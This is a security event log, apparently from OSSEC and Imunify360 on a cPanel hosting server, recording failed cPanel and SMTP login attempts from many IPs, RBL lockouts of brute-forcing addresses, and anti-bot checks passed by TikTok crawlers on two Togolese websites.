

plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.176.26.186
country_id: 2542007
description:
[2026-06-09 21:09:32 +0000] info [cpaneld] 160.176.26.186 - togoint "GET /login/?login_only=1&user=togoint&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoint (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.227
country_id: 2635167
description:
2026-06-09 21:08:43 dovecot_login authenticator failed for H=(OIcY6J) [185.169.4.227]:65154: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 219.92.187.175
country_id: 1733045
description:
[2026-06-09 21:09:12 +0000] info [cpaneld] 219.92.187.175 - togointerimnet "GET /login/?login_only=1&user=togointerimnet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointerimnet (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.167.160.83
country_id: 1562822
description:
[2026-06-09 21:09:17 +0000] info [cpaneld] 14.167.160.83 - togointeri "GET /login/?login_only=1&user=togointeri&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointeri (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.135.134.213
country_id: 1210997
description:
[2026-06-09 21:09:23 +0000] info [cpaneld] 103.135.134.213 - togointer "GET /login/?login_only=1&user=togointer&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointer (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.187.203.48
country_id: 3996063
description:
[2026-06-09 21:09:27 +0000] info [cpaneld] 189.187.203.48 - togointe "GET /login/?login_only=1&user=togointe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.25.93.110
country_id: 2017370
description:
[2026-06-09 21:10:06 +0000] info [cpaneld] 95.25.93.110 - togoint3 "GET /login/?login_only=1&user=togoint3&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoint3 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.114.32.211
country_id: 3895114
description:
[2026-06-09 21:09:46 +0000] info [cpaneld] 190.114.32.211 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.227
country_id: 2635167
description:
2026-06-09 21:09:39 dovecot_login authenticator failed for H=(Gexv8yxq) [185.169.4.227]:53406: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.205
country_id: 1880251
description:
47.128.96.205 - - [09/Jun/2026:21:09:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13266542&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fforum-daffaires-et-economique-turkiye-afrique%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781039389 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/forum-daffaires-et-economique-turkiye-afrique/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.205


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.236.221.202
country_id: 3469034
description:
[2026-06-09 21:09:55 +0000] info [cpaneld] 45.236.221.202 - togoint1 "GET /login/?login_only=1&user=togoint1&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoint1 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.191.223.109
country_id: 3686110
description:
[2026-06-09 21:10:03 +0000] info [cpaneld] 38.191.223.109 - togoint2 "GET /login/?login_only=1&user=togoint2&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoint2 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.235.56.161
country_id: 2635167
description:
[2026-06-09 21:10:10 +0000] info [cpaneld] 91.235.56.161 - togoint5 "GET /login/?login_only=1&user=togoint5&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoint5 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 139.47.123.48
country_id: 2510769
description:
[2026-06-09 21:10:13 +0000] info [cpaneld] 139.47.123.48 - togoint6 "GET /login/?login_only=1&user=togoint6&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoint6 (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.169.4.227
country_id: 2635167
description:
Jun  9 21:09:37 ns5 auth[11566]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.169.4.227 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.227
country_id: 1643084
description:
[2026-06-09 21:10:27 +0000] info [cpaneld] 103.65.237.227 - 2002281 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.169.4.227
country_id: 2635167
description:
Jun  9 21:10:59 ns5 auth[11566]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.169.4.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.227
country_id: 2635167
description:
2026-06-09 21:11:01 dovecot_login authenticator failed for H=(YTt611To) [185.169.4.227]:57873: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.181
country_id: 1880251
description:
47.128.96.181 - - [09/Jun/2026:21:11:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7040362&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcommune-de-bas-mono-1-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781039468 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/commune-de-bas-mono-1-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.181


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.133
country_id: 1880251
description:
47.128.96.133 - - [09/Jun/2026:21:10:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7299526&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Frecrutement-de-volontaires-pour-la-france%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781039440 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/recrutement-de-volontaires-pour-la-france/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.133


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.152
country_id: 1880251
description:
47.128.96.152 - - [09/Jun/2026:21:12:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10264213&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmonseigneur-barrigah%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781039534 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/monseigneur-barrigah/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.152


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.169.4.227
country_id: 2635167
description:
2026-06-09 21:11:48 dovecot_login authenticator failed for H=(2rT6vQkN0T) [185.169.4.227]:62378: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-09 21:11:34 +0000] info [cpaneld] 102.54.238.57 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.169.4.227
country_id: 2635167
description:
Jun  9 21:11:46 ns5 auth[11566]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.169.4.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.227
country_id: 2635167
description:
2026-06-09 21:12:13 dovecot_login authenticator failed for H=(L0Tg7j6XmG) [185.169.4.227]:59835: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.104.88.209
country_id: 6252001
description:
[2026-06-09 21:11:51 +0000] info [cpaneld] 23.104.88.209 - ingertgsarl "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-09 21:12:01 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:35060: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.124.36.183
country_id: 6252001
description:
2026-06-09 21:12:17 dovecot_login authenticator failed for H=c-73-124-36-183.hsd1.fl.comcast.net (hqwbb.com) [73.124.36.183]:54191: 535 Incorrect authentication data (set_id=stephane.o@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.169.4.227
country_id: 2635167
description:
Jun  9 21:12:49 ns5 auth[11566]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.169.4.227 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.184
country_id: 1880251
description:
47.128.96.184 - - [09/Jun/2026:21:13:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10132380&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Foif-recrute-pour-des-postes-bases-a-paris%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781039612 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/oif-recrute-pour-des-postes-bases-a-paris/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.184


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.157
country_id: 1880251
description:
47.128.96.157 - - [09/Jun/2026:21:12:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9791683&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcierea-ptci%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781039556 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cierea-ptci/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.157


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.227
country_id: 2635167
description:
2026-06-09 21:12:51 dovecot_login authenticator failed for H=(fzT8t6NZ) [185.169.4.227]:62135: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun  9 21:13:21 ns5 auth[11566]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-09 21:13:23 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:18519: 535 Incorrect authentication data (set_id=seed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.139
country_id: 1880251
description:
47.128.96.139 - - [09/Jun/2026:21:14:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13016166&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fbande-darnaqueurs%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781039662 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/bande-darnaqueurs/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.227
country_id: 2635167
description:
2026-06-09 21:13:35 dovecot_login authenticator failed for H=(fIcONeM7) [185.169.4.227]:55004: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.187
country_id: 1880251
description:
47.128.96.187 - - [09/Jun/2026:21:13:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7193749&pdata=https%253A%252F%252Fcfpj.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781039617 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.187


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.169.4.227
country_id: 2635167
description:
Jun  9 21:13:52 ns5 auth[11566]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.169.4.227 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.169.4.227
country_id: 2635167
description:
Jun  9 21:14:36 ns5 auth[11566]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.169.4.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.227
country_id: 2635167
description:
2026-06-09 21:14:38 dovecot_login authenticator failed for H=(HAOgEuE) [185.169.4.227]:57415: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.132
country_id: 1880251
description:
47.128.96.132 - - [09/Jun/2026:21:15:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6986347&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Foif-recrute-pour-des-postes-bases-a-paris%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781039707 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/oif-recrute-pour-des-postes-bases-a-paris/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.132


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.178
country_id: 1880251
description:
47.128.96.178 - - [09/Jun/2026:21:15:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13146313&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fbande-darnaqueurs%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781039738 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/bande-darnaqueurs/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.178


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.169.4.227
country_id: 2635167
description:
Jun  9 21:15:48 ns5 auth[11566]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.169.4.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.227
country_id: 2635167
description:
2026-06-09 21:15:50 dovecot_login authenticator failed for H=(QO7Fmh) [185.169.4.227]:51041: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 190.104.40.174
country_id: 3865483
description:
190.104.40.174 - - [09/Jun/2026:21:15:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12883048&pdata=https%253A%252F%252Ftdn.tg%252Fpage%252F74%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781039752 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/page/74/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.7169.1027 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:190.104.40.174


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.227
country_id: 1643084
description:
[2026-06-09 21:16:05 +0000] info [cpaneld] 103.65.237.227 - pyllprbc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user pyllprbc (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.169.4.227
country_id: 2635167
description:
Jun  9 21:16:38 ns5 auth[11566]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.169.4.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.227
country_id: 2635167
description:
2026-06-09 21:16:40 dovecot_login authenticator failed for H=(qYhl1g0Qzh) [185.169.4.227]:64446: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.169.4.227
country_id: 2635167
description:
2026-06-09 21:17:04 dovecot_login authenticator failed for H=(gQj8I3oG7) [185.169.4.227]:64850: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.136
country_id: 1880251
description:
47.128.96.136 - - [09/Jun/2026:21:17:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12938091&pdata=https%253A%252F%252Fcfpj.tg%252Fcategory%252Fnon-classe%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781039859 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/category/non-classe/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.136


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.227
country_id: 2635167
description:
2026-06-09 21:17:48 dovecot_login authenticator failed for H=(S1UtXm) [185.169.4.227]:60756: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.169.4.227
country_id: 2635167
description:
Jun  9 21:17:46 ns5 auth[11566]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.169.4.227 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 18.225.117.129
country_id: 6252001
description:
[2026-06-09 21:17:57 +0000] info [cpaneld] 18.225.117.129 - ingertgsarl "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.154
country_id: 1880251
description:
47.128.96.154 - - [09/Jun/2026:21:18:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9986929&pdata=https%253A%252F%252Ftdn.tg%252Fauthor%252Faben%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781039889 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/author/aben/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.154


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.149
country_id: 1880251
description:
47.128.96.149 - - [09/Jun/2026:21:19:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10315111&pdata=https%253A%252F%252Ftdn.tg%252Fauthor%252Faben%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781039965 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/author/aben/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.149


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.227
country_id: 2635167
description:
2026-06-09 21:18:36 dovecot_login authenticator failed for H=(BIjTgRfXj) [185.169.4.227]:51478: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.169.4.227
country_id: 2635167
description:
Jun  9 21:18:57 ns5 auth[11566]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.169.4.227 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.148
country_id: 1880251
description:
47.128.96.148 - - [09/Jun/2026:21:19:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7368603&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fperdiem-de-reportage%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781039990 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/perdiem-de-reportage/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.148


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.168
country_id: 1880251
description:
47.128.96.168 - - [09/Jun/2026:21:20:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738643&pdata=https%253A%252F%252Ftdn.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781040028 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.168


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.183
country_id: 1880251
description:
47.128.96.183 - - [09/Jun/2026:21:21:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6974100&pdata=https%253A%252F%252Fcfpj.tg%252Fcategory%252Fnon-classe%252F%253F__im-mLcLAlHa%253D3875901866547102545%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F12%25252F%252Fpage%252F3%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781040097 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/category/non-classe/?__im-mLcLAlHa=3875901866547102545%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F12%2F%2Fpage%2F12%2F%2Fpage%2F2%2F%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F12%2F%2Fpage%2F12%2F%2Fpage%2F2%2F%2Fpage%2F2%2F%2Fpage%2F12%2F%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F12%2F%2Fpage%2F2%2F%2Fpage%2F2%2F%2Fpage%2F2%2F%2Fpage%2F2%2F%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F12%2F/page/3/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.183


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-09 21:21:49 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:51230: 535 Incorrect authentication data (set_id=database)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  9 21:21:47 ns5 auth[11566]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.174
country_id: 1880251
description:
47.128.96.174 - - [09/Jun/2026:21:22:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7233942&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Faccident-de-circulation-au-mali%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781040174 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/accident-de-circulation-au-mali/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.174


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.121
country_id: 1880251
description:
47.128.96.121 - - [09/Jun/2026:21:24:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6474345&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Famende-de-3000-euros%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781040273 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/amende-de-3000-euros/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.121


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.183
country_id: 1880251
description:
